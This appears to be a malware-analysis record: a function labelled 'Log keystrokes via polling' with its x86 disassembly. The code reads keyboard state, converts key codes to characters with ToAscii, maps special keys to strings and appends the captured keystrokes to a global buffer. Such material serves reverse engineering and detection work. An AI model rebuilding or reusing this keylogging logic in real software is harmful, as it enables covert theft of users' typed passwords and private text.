Function at 0x1000b5e7
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
xor eax, eax
mov byte [ebp - 0xc], 0
lea edi, [ebp - 0xb]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosb byte es:[edi], al
push 0xff
xor edi, edi
lea eax, [ebp - 0x11b]
push edi
push eax
mov byte [ebp - 0x11c], 0
call sub.ntdll.dll_memset
mov eax, dword [ebx + 4]
mov esi, 0x202
add esp, 0xc
mov dword [ebp + 8], edi
cmp eax, esi
je 0x1000b815
cmp eax, 0x205
je 0x1000b815
cmp eax, 0x100
jne 0x1000b86d
cmp dword [ebx + 8], edi
je 0x1000b86d
mov ecx, dword [ebx + 0xc]
mov eax, 0x10000000
test eax, ecx
jne 0x1000b86d
push dword [ebx]
or ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebx + 0xc], ecx
call fcn.1000b300
add dword [0x1002c19c], 0xa
mov esi, dword [0x1002c19c]
mov edi, dword [0x1002c094]
call fcn.100126c8
mov dword [0x1002c094], eax
test eax, eax
je 0x1000b86d
push 8
pop edi
mov eax, edi
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1000b6ba
push 0x91
push 5
mov edx, 0x10029238
call fcn.100117e3
mov eax, edi
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp - 0x18], eax
test eax, eax
je 0x1000b6db
push 0x93
push 5
mov edx, 0x100296f4
call fcn.100117e3
mov eax, edi
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x1000b6fc
push 0x96
push 5
mov edx, 0x10029760
call fcn.100117e3
mov eax, edi
call sub.ntdll.dll__alloca_probe
mov esi, esp
test esi, esi
je 0x1000b71c
push 0x86
push 5
mov eax, esi
mov edx, 0x10029384
call fcn.100117e3
mov eax, edi
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x1000b73a
push 0x8a
push 5
mov edx, 0x10029558
call fcn.100117e3
mov bl, byte [ebx + 8]
movzx ecx, bl
mov byte [ebp - 0xc], bl
cmp ecx, 0x1b
jg 0x1000b7ab
je 0x1000b7c0
cmp ecx, edi
je 0x1000b7a4
cmp ecx, 9
je 0x1000b79d
cmp ecx, 0xd
je 0x1000b796
cmp ecx, 0xf
jle 0x1000b762
cmp ecx, 0x11
jle 0x1000b7c0
lea eax, [ebp - 0x11c]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
test eax, eax
je 0x1000b7d8
push 0
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x11c]
push eax
movzx eax, byte [ebp - 0xc]
push dword [ebp - 0x10]
push eax
call dword [sym.imp.USER32.dll_ToAscii]
mov al, byte [ebp + 8]
mov byte [ebp - 0xc], al
jmp 0x1000b7d8
push 0xa
push dword [ebp - 0x18]
jmp 0x1000b7ce
push 0xa
push dword [ebp - 0x1c]
jmp 0x1000b7ce
push 0xa
push dword [ebp - 0x14]
jmp 0x1000b7ce
cmp ecx, 0x2d
je 0x1000b7cb
cmp ecx, 0x2e
je 0x1000b7c6
add ecx, 0xffffff60
cmp ecx, 3
ja 0x1000b762
mov byte [ebp - 0xc], 0
jmp 0x1000b7d8
push 0xa
push esi
jmp 0x1000b7ce
push 0xa
push eax
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea eax, [ebp - 0xc]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000b7de
sub eax, edx
je 0x1000b86d
mov esi, dword [0x1002c094]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x1000b7f8
sub eax, edx
add eax, 0xa
push eax
lea eax, [ebp - 0xc]
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_StrNCatA]
lea eax, [ebp - 0xc]
jmp 0x1000b865
push dword [ebx]
call fcn.1000b300
push 8
pop edi
mov eax, edi
call sub.ntdll.dll__alloca_probe
mov eax, esp
mov dword [ebp - 0x10], eax
test eax, eax
je 0x1000b840
push 0x93
push 4
mov edx, 0x10029644
call fcn.100117e3
mov eax, edi
call sub.ntdll.dll__alloca_probe
mov eax, esp
test eax, eax
je 0x1000b85e
push 0x8b
push 4
mov edx, 0x10029648
call fcn.100117e3
cmp dword [ebx + 4], esi
cmove eax, dword [ebp - 0x10]
push 0
push eax
call fcn.1000b3ce
lea esp, [ebp - 0x128]
pop edi
pop esi
pop ebx
leave
ret 4